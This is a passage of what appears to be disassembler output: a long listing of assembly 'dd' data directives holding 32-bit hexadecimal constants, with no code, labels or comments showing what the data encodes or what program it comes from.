		dd 0AD40684Fh, 4D55BAEBh, 28CBEC3Ch, 0B7C626A9h, 61C8CD1h
		dd 48124689h, 2A68C22Fh, 0F03753D6h, 68CC9F33h,	444EC20h
		dd 71524ABEh, 375F86Fh,	0B10CAFE6h, 58DC708h, 0FD6A072Eh
		dd 1CDD1F2h, 0C54660F5h, 1B7F900Bh, 0C489202h, 0E05E0C08h
		dd 5A322573h, 0B39055CEh, 0BDB4E74Fh, 0E8394175h, 0F1DDF771h
		dd 0BCF09A00h, 7EFD89FBh, 3049255Fh, 0B9422B5Ch, 55D24261h
		dd 70A2462h, 12C62C8Bh,	171BFD2Ah, 21B85E90h, 0C8F155B3h
		dd 28798920h, 388CE40Fh, 0FA5079B2h, 0BA685C66h, 8ECFE84Ah
		dd 0DFC10B03h, 80D98101h, 0BD95E7E9h, 87BA4BA8h, 0F96E2DE7h
		dd 0BE1980B5h, 0BB45C25h, 7AF15D31h, 0A0679304h, 85860B24h
		dd 0BEB8265Ah, 0F3607E16h, 5797792Fh, 0FB2F4FB4h, 9D2E517h
		dd 4D7908D2h, 5C53F682h, 0A44FC23Ah, 294501F5h,	0F01B84FAh
		dd 3A1EBED0h, 21CACD4Ah, 0C20CF2F2h, 0B03CEE01h, 71182D7Ch
		dd 0B3E0B9FCh, 70D8287Ah, 0EFF07B5Bh, 274EA87Bh, 942D719Dh
		dd 5513CF88h, 989BE05h,	0AB5B722Ch, 4DD7CB1Eh, 6880C2EDh
		dd 463D4765h, 9B200390h, 13537615h, 0BFFEF2AAh,	0B2AE3DBh
		dd 12575F84h, 83C5AA93h, 3803608h, 0CDFEDDF6h, 0BABA24BFh
		dd 0E91C4CC0h, 0BD059A4Fh, 344CD460h, 2BC6CBCFh, 5AC376F1h
		dd 4531805Dh, 392D8540h, 0CF30F931h, 87D7F708h,	9841D180h
		dd 254509F2h, 0FD004B1Eh, 7B1B7DB5h, 5EDF0F5h, 0AE9F20FDh
		dd 0D0F60D2Dh, 0DF17168Dh, 0F96C0919h, 56C359D8h, 0DCCA895Fh
		dd 0C2BDB6EBh, 0DD3A40E9h, 0E3AF7D22h, 50467C5Dh, 48BFF568h
		dd 80D3B5ACh, 75B8DAF7h, 2D5940h, 75CB7962h, 0A672A205h
		dd 0D8291805h, 0E5B17AE9h, 9D802E54h, 5FDBF562h, 133AFCC9h
		dd 27ACA7E9h, 7B49FBA4h, 0D50D62D1h, 712770FBh,	0CEDD620Dh
		dd 0A3806B2Ah, 0F73B635Ch, 3556BFD2h, 78891E4Dh, 1102FCEAh
		dd 25C0F088h, 739F9812h, 48D93FD0h, 0B51DE84Eh,	6C5B47AEh
		dd 0B92DA041h, 9106DECDh, 0EF7FE9D6h, 1DBF0B5Ah, 60F80D6Eh
		dd 0E90D1961h, 41296DC4h, 9E1EBF5Fh, 370FEDCAh,	0FC02614Bh
		dd 2020F4D9h, 0C1D817F7h, 0E6F504E8h, 0CE56AE37h, 0D039D20Bh
		dd 0A92C5E59h, 4FE9D3F5h, 0A925B64Ch, 54FEC7Ch,	459132E0h
		dd 9530CB01h, 482F00B3h, 69CC3576h, 0E9127CF4h,	0C941AE84h
		dd 5A59CD89h, 92C61520h, 0C55C5C79h, 14D46127h,	720D3242h
		dd 19F10B34h, 0D5546642h, 0FE2FB601h, 813A4117h, 0A1AE58h
		dd 5C7BB5BBh, 72109AADh, 0D42D0E1Dh, 5764902h, 70B0523h
		dd 251F735Bh, 84287145h, 56D83D2Fh, 7A217979h, 0B3018175h
		dd 609B1B44h, 3968E160h, 25FEB09h, 968FED3Bh, 0C0AE901h
		dd 0CCC3D153h, 0C9982DC3h, 0C2FB67BBh, 0B9C6571Ah, 3671430Bh
		dd 9BCF0379h, 0F739D05Ah, 0BD1B0D3h, 73232161h,	175E7DE2h
		dd 3AA2D772h, 6807A83Ch, 410F7B60h, 4AF3F658h, 20034143h
		dd 412E6C29h, 766DFC5h,	1FCA78FCh, 922C41Eh, 957B10C3h
		dd 0E834AFBDh, 17BBC53Bh, 0FC1AE70Ch, 0BA70A0Ch, 1C09E816h
		dd 3D14D5E5h, 2E680209h, 0C5147510h, 619A5F97h,	0FAC2F854h
		dd 590DD45Fh, 6777E68Fh, 0E6310970h, 29AFA353h,	8E950019h
		dd 0C12CDF50h, 1718768h, 0A8B06A3Bh, 191B0546h,	0E1CAE962h
		dd 28EF2FF5h, 61D70103h, 79DB2F80h, 0BA600235h,	0E04EC26Dh
		dd 0C17ABFF2h, 3950F490h, 18F80DB9h, 0E1BCA8B8h, 1CD00820h
		dd 1FAF4014h, 8A30F782h, 24B5EA89h, 0B3BFD64Dh,	2F5B4C7Dh
		dd 0F029E428h, 0E7394B79h, 5CAA61E7h, 0A21C737h, 95FEEEE4h
		dd 7E98F9E4h, 91235F25h, 8C2A5CB1h, 439E5460h, 4E264F89h
		dd 0F9F997B7h, 4D41596Bh, 6F90F164h, 0BE92CBF6h, 0B0EF5D70h
		dd 3CF9240Eh, 6EF40241h, 825F10BDh, 0B3B51C1h, 0D28955h
		dd 0EA848369h, 9AD89DFEh, 0E93370EFh, 5EFA593Dh, 139FFFE9h
		dd 93E3BFCEh, 0D340F6D6h, 2F9E99A8h, 2DAFF008h,	349416FDh
		dd 0E97AF3DAh, 0D983E28h, 0B44E41EBh, 5EFB3E40h, 8A806BFEh
		dd 0B8D1495Dh, 488C897Ah, 0C35E2900h, 35E99088h, 0EB5CECA8h
		dd 0D20388D3h, 0E994D526h, 0D3D0212Dh, 92E0AFA1h, 3181D86Ah
		dd 4A29FB2Ah, 0AD71906Fh, 3048657Bh, 22A900C0h,	28E91E82h
		dd 0BC9AB195h, 0E80DAB13h, 9AFCE492h, 780A244Ch, 8B1AFEEBh
		dd 0F121EC59h, 804704E7h, 0E169EEEEh, 12F33553h, 0BC3AC08Eh
		dd 3D441065h, 31DEF707h, 0B5F227D6h, 71ED13B9h,	770168B4h
		dd 53541006h, 0CA135F3Fh, 4EF1B366h, 0C1FE2DD4h, 81736451h
		dd 95BDED7h, 9B205EF5h,	0AF3D1EA9h, 0A9CD5612h,	4B584F7h
		dd 0EEC6560Eh, 0AFBDA505h, 0F3E32D8Bh, 64EECCE3h, 99B0EF07h
		dd 4A919958h, 0BD664434h, 0A33A106Bh, 6B72EC7Ah, 5F2255E8h
		dd 0B65D9A91h, 0EF295210h, 1B2DE93Eh, 81019359h, 774C84F1h
		dd 0C80DC2C6h, 2A1BB0Dh, 0F7615527h, 60C087DBh,	1195BDDCh
		dd 0FD3B5B20h, 0C7EF05C0h, 49FBFA1Ch, 53C03749h, 6A166905h
		dd 10BE263Bh, 0D84E0753h, 1440DE55h, 0CB9E09BFh, 42856038h
		dd 0F332EA27h, 696BD659h, 0E2CC8907h, 2D42739Ch, 4298BC60h
		dd 52272B18h, 48C8F8h, 5FBA7C63h, 0E910614Dh, 890A8B5Fh
		dd 70A7CE53h, 0D0D83F99h, 5EFECC2Dh, 48F19489h,	17BB61FDh
		dd 4853D99Dh, 5B930113h, 0BB9314F2h, 4CB518B0h,	0E525F22Ah
		dd 6757071Ah, 4C7A927h,	0D85E1168h, 697F421Bh, 0AE105A83h
		dd 4A481E2Ah, 9315A6Ah,	0AD805A64h, 0E76509BDh,	2AE1235Ch
		dd 81DE4AF5h, 9A4963CBh, 8E73FD3Dh, 0B18BA7EAh,	62F1FE61h
		dd 23AFC358h, 0B8D53005h, 0CB139E8Eh, 42E1F853h, 0BAC1CA68h
		dd 3F74FB60h, 9AE9A5C1h, 8A4E9B28h, 29C62518h, 0E9DC0156h
		dd 6E74FA9Dh, 28ABB634h, 0DFED5160h, 4ED9E63Ah,	0A9D01164h
		dd 4C3E0F58h, 1F13A36Fh, 8167CC38h, 0E909EA9Bh,	315141A1h
		dd 74C31864h, 55CB2546h, 8A0B77Eh, 8BBA5E4Ah, 0E8E9164Bh
		dd 0A52DFA80h, 3292811h, 5DAF09D4h, 0B2806A5Eh,	45DA3ADDh
		dd 6F061380h, 0AC818A50h, 0F01A321Fh, 542E6EE2h, 0F200D0D9h
		dd 3AE62B2Ah, 1BC20905h, 0B3280A7Ch, 0E85A1A07h, 0B55758D7h
		dd 902A99F0h, 0CD77AF38h, 0DF8D6825h, 2088164Dh, 3E78277Ch
		dd 2C7BD107h, 22D5574Fh, 0BD1369A8h, 18C40E4Bh,	0E8ACC56Eh
		dd 0D052F708h, 2EE64A08h, 7E23F605h, 0FE7FC032h, 1A3BAC13h
		dd 5265B2E9h, 0C840AEBEh, 8C5A1D83h, 5E1627FBh,	0E79AC1F8h
		dd 752F4796h, 0C3B9B438h, 50681B26h, 6C7F10Ah, 4D47C601h
		dd 0A0207767h, 0A04F1380h
		dd 4003B96Ah, 192D6808h, 8FFAD169h, 79244BBEh, 1EF2C166h
		dd 885B00F2h, 584695E3h, 0C2BA18FCh, 2F0D9281h,	0F3FB1285h
		dd 8C20A5A5h, 0D3D2677h, 0EE27E962h, 816560EDh,	44BCA04h
		dd 0C0BF0FB6h, 441A370Eh, 0E9B1F44Fh, 413F3628h, 5E8F76C1h
		dd 680EF9ECh, 211C60A9h, 0C2E09D09h, 0A7587766h, 4EA45B4Ch
		dd 3C65AB04h, 3054EB3h,	0F0299363h, 0D02DE950h,	0C005714Bh
		dd 33B6856h, 70610725h,	0A1C0EFBBh, 0B48BB0EEh,	0F62D0140h
		dd 0D41DB01Ch, 75255B80h, 7DB8809h, 0E911D03Ah,	0CC04EB4Fh
		dd 0FCAFDDF7h, 85CD03A9h, 0B14E3D56h, 0AD9ACEDh, 4C10C03Ah
		dd 294B7F95h, 0AC8717EBh, 30B7B5CCh, 0B6306138h, 256BEB58h
		dd 292B3A1Fh, 81A1C34h,	5114001Ch, 0BE3B82E9h, 5BE15309h
		dd 4B02241h, 713A467Ah,	2C7B21FEh, 0C72D2CFBh, 6833E1F7h
		dd 0B082B4E8h, 895301E5h, 0EC4675FBh, 0A495AB51h, 0E9FCE4B3h
		dd 0BBCBF04Fh, 0D50EDF69h, 118E0518h, 0EAD17F82h, 2AA2E94Fh
		dd 3D3300A2h, 9664345Ah, 0D18D820Fh, 428B856h, 4FC4D07Fh
		dd 90558668h, 0B660FF5Bh, 98C2295Fh, 35D788FBh,	0A80713D3h
		dd 0FF0AB2Dh, 0FF829D65h, 0E2E0F180h, 1297E3D2h, 99F8778Bh
		dd 52402C98h, 0AFF74E08h, 0F66C5482h, 40203E17h, 4057BABDh
		dd 3E68DE7Bh, 0E5024FC1h, 79707596h, 6D0315E4h,	0E9B6BF9Fh
		dd 34EE8D4Dh, 0B5E074E5h, 4B9C5A2h, 0B2BE64EFh,	7EFE94BAh
		dd 97C166BDh, 2DD5FE18h, 0E90E6F05h, 64E9DF15h,	0B3189417h
		dd 1D0A1046h, 356F680Bh, 0DEBF08B0h, 61A79494h,	0DAC54ECCh
		dd 1EC70C9Dh, 0AAA1D37Bh, 0E9D17E18h, 0D944558Fh, 97CF88D8h
		dd 0C493AF7Fh, 0B6F92E53h, 0A95C6B04h, 0EAD18048h, 0DA016712h
		dd 3AE9F731h, 7684FEFFh, 845506E1h, 7C12FF03h, 8EAC8BBAh
		dd 0B707305Fh, 97FA8894h, 0D154BC33h, 0B812CBB0h, 790C4D4Fh
		dd 9BD93DEh, 7CD76A8Ah,	69E1597Dh, 9684FA08h, 0A72CAA07h
		dd 7AC641B4h, 0E9E111ACh, 4DD56F2Ah, 0E8D0F1BFh, 0D9DDC2F0h
		dd 52693489h, 51E00B7Ah, 0ACF852E2h, 7B1C682Dh,	10011116h
		dd 0E884D821h, 26C1B7A8h, 0B0026A01h, 0FD2ECF2Fh, 0A03EFF73h
		dd 8568138Ah, 4F2B355h,	0E188CBB4h, 0C796ECEBh,	0B18CA0E9h
		dd 6F6100BBh, 0F3816023h, 0B40E6AC8h, 0F30FE97Dh, 1292B4A8h
		dd 4550202h, 127636C5h,	9D1B250Dh, 0BE41C06Ah, 0E60B1C0Fh
		dd 0FFDEF741h, 0CEEABA0h, 0CF5AD707h, 0C7022CF9h, 1A675D99h
		dd 89828DFh, 7658E30h, 933A4D10h, 2848CF09h, 2C8095Dh
		dd 3C1757Bh, 0BABA1331h, 0BF4623D5h, 0EEB98BBh,	0EAEF4A87h
		dd 2D0BCD14h, 256FC788h, 2D7D3FC0h, 0E9734504h,	9DAEADD6h
		dd 7F22A566h, 7C246FE3h, 1143DE2h, 107048E6h, 54B2CC7h
		dd 0E2EB5986h, 889626h,	3AB904BAh, 0C429C533h, 8E0A064h
		dd 0E74D6890h, 0F1F30260h, 430A906Eh, 37FE909h,	71DFED51h
		dd 8F09B90Ch, 0DD6EB26Fh, 21E2E714h, 58930DB1h,	3B55C1CCh
		dd 26FF7568h, 12835D1Bh, 2ECDBFE2h, 0C75742E8h,	0C39FC7C9h
		dd 54F912D9h, 9AD32A39h, 97849725h, 99BF7781h, 37547B59h
		dd 9785A2AFh, 0D91093B2h, 555A16A4h, 0A333704h,	53D1BE00h
		dd 23912023h, 7F06071Ah, 0B1B01600h, 7E983F3Ch,	9331E161h
		dd 3B206F21h, 9A63F8D6h, 0DD43BF5Bh, 0FC4BD62Dh, 5B18609Ah
		dd 5D026D48h, 0C71BD3B9h, 0C0614ABBh, 5876EFF6h, 0BC5EFA0Fh
		dd 0B84016B1h, 0F50EC8EFh, 71F72D5Bh, 98CE8913h, 136060E9h
		dd 100FB91Ah, 409E02Eh,	0D7F759CFh, 74D9814Fh, 5A896B4Ah
		dd 13C8CB6Fh, 178A2CF3h, 0A411257Ch, 30C6C6DFh,	0D9A53DCCh
		dd 0D3BF575Bh, 74FA093Ah, 9A4DE4D5h, 0E8302015h, 96EFC02Eh
		dd 6963CF0Fh, 68AF2199h, 4F395F81h, 12416E81h, 41D06A44h
		dd 300374B4h, 670E4777h, 2E5C1E7Ch, 51FD60B2h, 3816B652h
		dd 0F85AC0B5h, 9EC519CCh, 0EA2B7B16h, 0E94E0102h, 3D1676C2h
		dd 0C118D93Dh, 0B2B30637h, 0C32DCF7Fh, 7987C4A5h, 7A412C52h
		dd 2EB9066h, 0D4B103F3h, 5548D712h, 0F0B28EDh, 245439Fh
		dd 693FE9DCh, 0B82B0578h, 0E35A253Eh, 654CF155h, 0EA926122h
		dd 48C02A82h, 94E889CDh, 99555A02h, 0F52FC525h,	0DA0CA7E0h
		dd 190CC3A1h, 0DFC76C3Ah, 0C6B85080h, 78035C2Bh, 523E6B2Dh
		dd 6116A856h, 0A2176376h, 82C5D8ADh, 0ED7D4A05h, 0EB808BBDh
		dd 0E82B7484h, 59994E2Ah, 0B565C1F0h, 564BDC46h, 0AE9A12FBh
		dd 4FE9DD2Ch, 0ACBD0AC5h, 0E3AE0BB4h, 38D40091h, 0EBD1168Dh
		dd 0BFC161B2h, 25FAFDFh, 29E4785Dh, 49AC39B3h, 2DFE5ADFh
		dd 1BF54968h, 1029C028h, 4AE93E72h, 0AC5FF3CDh,	0AF7C8455h
		dd 5F8C93A2h, 5999D9AAh, 7B42F201h, 0E33F6EB0h,	0B3AAD30Bh
		dd 443E6215h, 0C2F60BBDh, 0D0380590h, 0C71E32Dh, 91C3E66Fh
		dd 477B4806h, 0EA4B6959h, 5A7DD92Ch, 9FDFA226h,	0F2694502h
		dd 34A7D0Ch, 0E85B0804h, 0A555272Fh, 3B90FE8Eh,	63D7BAh
		dd 0C2811F90h, 7CE811FCh, 51270CC1h, 0EAF12874h, 60996720h
		dd 7A0D0C2Dh, 7A979753h, 34D24ADBh, 744FFF57h, 0EBB7C456h
		dd 38E998BEh, 0DD2563B6h, 7A524D41h, 32FCF989h,	7ED7DF21h
		dd 1612251Dh, 0E6BBA15Bh, 0A940B1E2h, 5CB5EA39h, 0F7A6BCA3h
		dd 0FFA0315h, 0C1F686Bh, 0BF6C6EA6h, 0D5E49E09h, 0E5843B3h
		dd 7EE9828Dh, 0B347DFB6h, 0C0A7B002h, 709241E8h, 7D2C6BE0h
		dd 88EF09DFh, 6E8758C7h, 35F733BEh, 6BC2EEB5h, 0A93163F9h
		dd 2C6E305Bh, 182FE9F7h, 0C261101Fh, 0DAA217B9h, 2E06FFCDh
		dd 78E31C0h, 3AF5F9BDh,	49EB8666h, 2EAB5D4Fh, 191F1302h
		dd 48E35AFh, 8B1C3046h,	7FC6129Ah, 1CEADF95h, 871E018h
		dd 602C7D27h, 6036E915h, 30EB3F34h, 0A4BA7E1Ah,	9E2FC200h
		dd 0D2B9514Ch, 19D6255Fh, 0D7E6F7C0h, 293D9B0Ch, 59E9C1CBh
		dd 205972E0h, 688EFB4Bh, 0FED8A209h, 0CBDD51DFh, 1786391Ah
		dd 8850C913h, 52BDC51Ah, 0F50131BAh, 9239FAh, 830E9A68h
		dd 4A1060A9h, 0E4A86F2Ch, 17F24461h, 40BA5202h,	0E0AB6A2Ah
		dd 2D045DF0h, 367F0F51h, 41FCEBh, 738A0502h, 0B0892A94h
		dd 68F097EBh, 2E4DE917h, 3FED17E4h, 0C1CBDC49h,	1284124h
		dd 2D6A015Eh, 87123FF6h, 6AA915F8h, 0CC5C708Ah,	17E95482h
		dd 5D044BD6h, 0CABED921h, 893058F8h, 0E581F0C2h, 0C0AF8B44h
		dd 0C051070Ah, 0E2030F4Bh, 0C95EF089h, 0EDD14268h, 7E8159ECh
		dd 2F3716C9h, 0E5E90134h, 2FD85B6Fh, 652DA8C0h,	603C2F73h
		dd 7207DDCh, 0ABA7E916h, 708493ECh, 7FCCFE29h, 4BF07B31h
		dd 30B5C4B2h, 69512CC6h, 4CFE6D5Eh, 9C185F87h, 703C2916h
		dd 0FCA92A12h, 3F27F276h, 0F1300504h, 117A5F26h, 0CA0F1D7Eh
		dd 0D8FD51D4h, 17668E0Ch, 16E948BFh, 5BA14920h,	0F49D3546h
		dd 0C47F69A0h, 4DEB06BEh, 180E9050h, 0D924C61Dh, 77DDE986h
		dd 0BCBC902Eh, 0BCD1C4B0h, 1A141339h, 0E9757CFEh, 0EB5515Dh
		dd 65FDF480h, 2A8392CCh, 5814AEFEh, 5B062C73h, 2A4E3AE9h
		dd 0D51C0CC4h, 3A0EB117h, 0E93E60FFh, 0CE9BFC5Dh, 624C3491h
		dd 6ACBBE80h, 81026EA2h, 46166E6h, 9F62DF6Fh, 5003A6D9h
		dd 912B7568h, 0B02B583Bh, 11DF71B6h, 0A05181AFh, 86202008h
		dd 573240CEh, 15946807h, 3EB2424Fh, 9E24DFCCh, 4A944h
		dd 0CD8108E5h, 4B3A5A84h, 5821FF31h, 286EF733h,	0AB952842h
		dd 571F206Ah, 9823106Fh, 183055F4h, 2017542h, 0BA80DBF7h
		dd 0BE428C9Fh, 2598DAB7h
		dd 0F9EA2EE8h, 0B088F07Dh, 984B4D32h, 7E8AD5Ah,	0DF5626Eh
		dd 4C238EE3h, 0C0396A33h, 5A2E348Fh, 17C19FABh,	7B407E29h
		dd 4E6A1DE2h, 0E5C27801h, 0F4680840h, 0A746971Fh, 0D7471125h
		dd 93D0221Bh, 421EC073h, 5039C101h, 87545808h, 0B55AACE5h
		dd 0BF2E0E2Dh, 3C2DE100h, 902A0E72h, 691D10CFh,	550F9971h
		dd 843E30h, 81632F59h, 9E30C4F6h, 0F5892D0Ch, 71DE1E5Eh
		dd 0D7734F58h, 0B022C18Eh, 0F29A6007h, 17901B1Fh, 72DA8BBh
		dd 0DD37E909h, 5F22CAFEh, 0F17919F6h, 0DED5216Eh, 5D3481DCh
		dd 5558C689h, 0EA2984BBh, 0F90F0BE7h, 8AC20020h, 3D58CE2Fh
		dd 1A2A7DB1h, 0E520A815h, 92204F53h, 8CD064A7h,	9E77A9Fh
		dd 28B3B652h, 4F389E57h, 24B2F966h, 0CCA504A1h,	0D54520BCh
		dd 65CA498h, 2C7384B4h,	0C91046F9h, 74492FA0h, 5EF9422Fh
		dd 0CC4F9470h, 9F5F36F0h, 574B6D14h, 688074ACh,	261D37A1h
		dd 0CA4B3DF4h, 0EE92EEB9h, 0D0D49A82h, 0B3055AADh, 701789F0h
		dd 601095B1h, 0CB98F829h, 8D193D60h, 483C611Bh,	0C539DA2Dh
		dd 0E9C38982h, 0D0FBAC4Eh, 23F090BDh, 0FC4C5F25h, 5650BD80h
		dd 63A0A590h, 2AFB74C0h, 73F65907h, 77328C92h, 2ECCC7DCh
		dd 106C2E11h, 0EDE0C40h, 2E16FC95h, 0B9094A63h,	4946F607h
		dd 1A25435Ch, 6EEB0456h, 520148A2h, 0C28016B2h,	106905Fh
		dd 0C059224h, 883C8E70h, 84BEFD4Eh, 50F3AEEEh, 0C5F7F2D2h
		dd 85B065E9h, 0BB530145h, 34A029F1h, 0C92F304Bh, 1F4E4D00h
		dd 315BDD21h, 2FEEE4F5h, 0D100D1E9h, 8E48D30Dh,	0C0940EB5h
		dd 0E9DFBE7Ch, 27015FA6h, 5D8083C3h, 76FC305Ah,	447AC1C0h
		dd 89A2242h, 3108E954h,	32AF594Ah, 0EFA9761Fh, 2B23688h
		dd 507E7FE5h, 45DCA055h, 0EB29E93Bh, 69802CDh, 1721803h
		dd 6006E330h, 79AE5748h, 33CB4A0Dh, 44F7566Fh, 0C9BEBC4Bh
		dd 25417ED0h, 4B2CBC75h, 0B6070728h, 6BF067B7h,	2448B76h
		dd 0BF4F25EBh, 0E90D939Ah, 1100326h, 59B58C7h, 0AF6190FAh
		dd 2A141312h, 188DCE81h, 8D0C1DE0h, 5FA94C6Ch, 6065EE00h
		dd 0F7314CAAh, 89014693h, 5FC1E9FAh, 828BE36Ah,	58F08850h
		dd 20F8900Bh, 6812F7ABh, 8F4B416Bh, 0D5B7290Bh,	1F6AF3C5h
		dd 65510100h, 0B5097DE9h, 9FC8E92h, 0AA5B3E07h,	5AE28150h
		dd 0EC247965h, 13F10BF2h, 0FDD0497Fh, 70E1E8E9h, 32977302h
		dd 0F1654C68h, 0CC689DEh, 54E76856h, 841A4AC3h,	0CDAFF3FFh
		dd 792030D2h, 0EB04EDCCh, 44F49FA9h, 0AAE897D1h, 90FB1552h
		dd 3D27CE97h, 5AF114Eh,	50492598h, 0AA1CDF79h, 50FEE73Ah
		dd 5B2B5101h, 0E0404618h, 653B24D8h, 0A9BDCE42h, 21730740h
		dd 8190687Ch, 131BDF39h, 2302BCE9h, 0F09C5F73h,	744009D2h
		dd 516F5D01h, 493D2E18h, 0C05C37B6h, 0EE860677h, 108D5F6h
		dd 0E984C680h, 3CFEED56h, 85538982h, 4DF007BBh,	89F795BFh
		dd 1F5FEBFh, 5F490108h,	33B57A78h, 0C4944F1h, 0E0C455FAh
		dd 0F021B5Ah, 577E685Ch, 0B5FCA0C6h, 0C6BAFA54h, 9667B939h
		dd 62C04E09h, 0A07AAF06h, 301EA193h, 90262D3Bh,	0F4485C6Bh
		dd 0FEF616E6h, 4EC47A96h, 0C481A81Dh, 9C104F8Ah, 54AF4802h
		dd 74E0DDF7h, 8E0550DCh, 8EDC164h, 9994E484h, 8F97A455h
		dd 0B8502001h, 0BD016B6h, 35A56871h, 9922A76h, 0D37F31EAh
		dd 44BE143Ah, 0BC05B535h, 75BC1B4h, 7CF57B3Eh, 0FC50132Ah
		dd 0E855F26Eh, 13015BF1h, 0AF5168D0h, 0D135EE63h, 0B16B5445h
		dd 60007B10h, 49BDCA81h, 4A331EDEh, 0F680A783h,	67FE915Eh
		dd 0D6BD2690h, 0E95630FFh, 66C017F1h, 0A81246BBh, 0F381032Ch
		dd 1CD6489h, 2EA10C05h,	23B56C96h, 26020CCh, 0D931A3B1h
		dd 0F27005E9h, 32786473h, 0CAD12A28h, 21AD119Dh, 1CB00D05h
		dd 0E0162E1Dh, 0EEBB56BEh, 0B4EB7635h, 0F6BD8BCh, 0A1A44812h
		dd 51233B02h, 0AAFCFB79h, 0EF3AD775h, 0D2FAF685h, 594813A7h
		dd 0C1EFC589h, 2BA93B9Ch, 2706BDCAh, 772FEF54h,	0F4A8A29Eh
		dd 47C0AE38h, 632FFAC7h, 0CB0CC06Ah, 0E977756Eh, 17CFEC55h
		dd 58BFA224h, 2D096EDDh, 80C66FDBh, 31392A9Fh, 1DC3441Dh
		dd 0F0C3257Bh, 39D134DEh, 9172DE8h, 0B21C04A2h,	8AB60092h
		dd 105EEC0h, 0F6E8B753h, 0FAEF80D7h, 8573DE5Dh,	0EAFE284Ch
		dd 855073C9h, 9D615068h, 7C225CC6h, 973EA6E8h, 0BF125C0Eh
		dd 0E9CA87E6h, 95A2DCEh, 72F5E48h, 605467DBh, 7BE81DE4h
		dd 203DAF5Ah, 0C08D9AD2h, 507AA414h, 0DEFAD5Dh,	408C762Ch
		dd 0CE762162h, 0A7BFD155h, 0B8007094h, 4CD95826h, 0D0F182E9h
		dd 8B109A30h, 0F9C750BDh, 17B81F4Fh, 1012E292h,	0F702E23Dh
		dd 489868F9h, 13D784A2h, 46CFFDD6h, 5A2C88C8h, 2001AB31h
		dd 16706860h, 9AFD41F8h, 0AE4F5023h, 309141BCh,	73727881h
		dd 68535101h, 0F34ECB6Ch, 0EDBEAD54h, 0C0E9B1F2h, 854F2C3Ch
		dd 5827FC92h, 0CFCB05CAh, 17AF0C0Ah, 0F0D5FBE2h, 0E7E0AAFh
		dd 525FB2ECh, 41168083h, 7FB91503h, 0D90ABC46h,	0A83B4DD3h
		dd 29DFA7BEh, 84F65355h, 0AA611D68h, 0FEF88C61h, 0F630005h
		dd 0C13B1B6Bh, 5AF0E85Fh, 113C0C2Fh, 0DA22930h,	18441F09h
		dd 0F6B05F19h, 0F195DB51h, 0E280C1D9h, 8FF2CC48h, 60B6E913h
		dd 69537D8Ch, 9A04D51Bh, 3211435h, 3EE14B7Eh, 0EA56B301h
		dd 5D098468h, 0DB9087FAh, 0AFF58C93h, 3DEE2A95h, 0BBB83E2Eh
		dd 230F3AE1h, 2CBF04A7h, 9C13E41h, 0DB544860h, 392480EFh
		dd 0FA208E53h, 0CAE91231h, 82522121h, 0E547941Ch, 12C607CEh
		dd 0C7D223FCh, 0AE74DB96h, 5052501Fh, 2DF5680Eh, 6058CE35h
		dd 7F9D2A23h, 38477297h, 48E2EEE9h, 0CAFD60B1h,	9D4DC195h
		dd 4FC0FA05h, 2F0B1035h, 0C3C1454Bh, 3A4F3516h,	54A1C2ACh
		dd 2BEB2A58h, 4785873h,	0BBB7591h, 0B81816AFh, 0F5BB5080h
		dd 68858699h, 7EF54CB4h, 8085026Eh, 5AE150CEh, 20F6D905h
		dd 634062B2h, 4D82BD09h, 9A4811E3h, 5F16E6F5h, 0F31422C9h
		dd 87C16215h, 0B9935FFDh, 760B0E5Fh, 0A0EB58FBh, 0BACF508Dh
		dd 0EA1C5E25h, 5F58D068h, 2151E5EDh, 18082023h,	887F3BDh
		dd 6804CC6Fh, 2B8C0E32h, 1DFE9D58h, 0E04CFFDAh,	58CBDA20h
		dd 7581814Fh, 0F8407160h, 9B6E34Dh, 0D1399383h,	0C2C9B01Ch
		dd 46262811h, 378F3CBAh, 0A6E92F7Ch, 0CEF52148h, 0AFDC190Fh
		dd 9EB99229h, 153E87Ch,	1F9E1E7h, 2B8759C8h, 76D4E9EDh
		dd 0EF4A0738h, 2C1C4D9Fh, 3AD81F54h, 0C0255058h, 0E9B28581h
		dd 4A055CBh, 0BCFECD2Fh, 0BE7D880Ah, 500FADDBh,	0CD0FBD31h
		dd 0A04A7637h, 21E360EDh, 0C5F6D30Ch, 888AFAABh, 0C0CCFE7Eh
		dd 524CB95Ah, 8EA1555Bh, 40C7DC62h, 0D103F4C6h,	0C0013128h
		dd 0D59CB576h, 0A6A07AEDh, 5FE5E607h, 0AB2AC4D0h, 0FA0DB06h
		dd 10F602F1h, 1914CC1h,	55E33ADFh, 64B0CECCh, 424CA109h
		dd 4C9A7F52h, 0DAB1BBD2h, 0C7A7C201h, 0A76E687Ch, 0D4E9135Dh
		dd 89C0D94Bh, 21D604F3h, 7BAFB6AFh, 7BABCD55h, 68575580h
		dd 596E495Eh, 59094110h, 0EAE9A072h, 2CCF94D6h,	80961FAEh
		dd 162DF6F1h, 5D5A1933h, 902A8EB1h, 5F096373h, 1AC87D50h
		dd 0E9E606E8h, 44D3AD34h, 280A6D81h, 4B6E8F3Eh,	0C24D77A8h
		dd 0BF0F2C28h, 5D18E6F4h, 2F01FD56h, 5250142Bh,	5AE1E334h
		dd 8C8B46BEh, 0D9275FDEh, 0E9DA135Bh, 0AD516980h, 5B9C3C77h
		dd 4FF7CB9Eh, 0F89C5DDh, 0B598F8BBh, 92919214h,	4D09EB02h
		dd 0D36D6076h, 62EE1D27h
		dd 0C1019F83h, 4963CAE5h, 44AA8238h, 55304122h,	4AF72A4Ah
		dd 0F2EA57D1h, 8D204A60h, 0EE5E5780h, 0F811BAF2h, 0C9CB5B96h
		dd 78DF4A8h, 0E8DE47A0h, 16EFE5D6h, 6B38BA0Ch, 0EAF9BFD0h
		dd 71A60F48h, 862AF124h, 1F685809h, 0E2C2FE1Eh,	0F95DCC33h
		dd 0E4DF251Fh, 6DD02D9Dh, 0D2B0AFC6h, 0CEC13F04h, 0E8BE2DF3h
		dd 0F81E71EBh, 48E508E9h, 0E88C0D59h, 0F905059Dh, 0B164CD78h
		dd 0E907009Bh, 3ABFE287h, 3CA80019h, 307EAA54h,	946EC501h
		dd 175E6264h, 4F025B85h, 40750890h, 0EC59C7A4h,	7C31B21Dh
		dd 551104AEh, 0B3207DE9h, 538E0594h, 0F2EF686Ch, 81F9D630h
		dd 84399C00h, 6BD0687Fh, 8B0C51BFh, 5411DFE9h, 566093E0h
		dd 6BC1EF44h, 0BA10A5A3h, 16E94C86h, 0F4A8ECE4h, 373E16D2h
		dd 708B8F6Fh, 1D94C7FAh, 0EFDA5E38h, 9C62D230h,	0CA507BE9h
		dd 900FB89Dh, 44175F40h, 9EBE840Ch, 64A55BF3h, 6702F46Fh
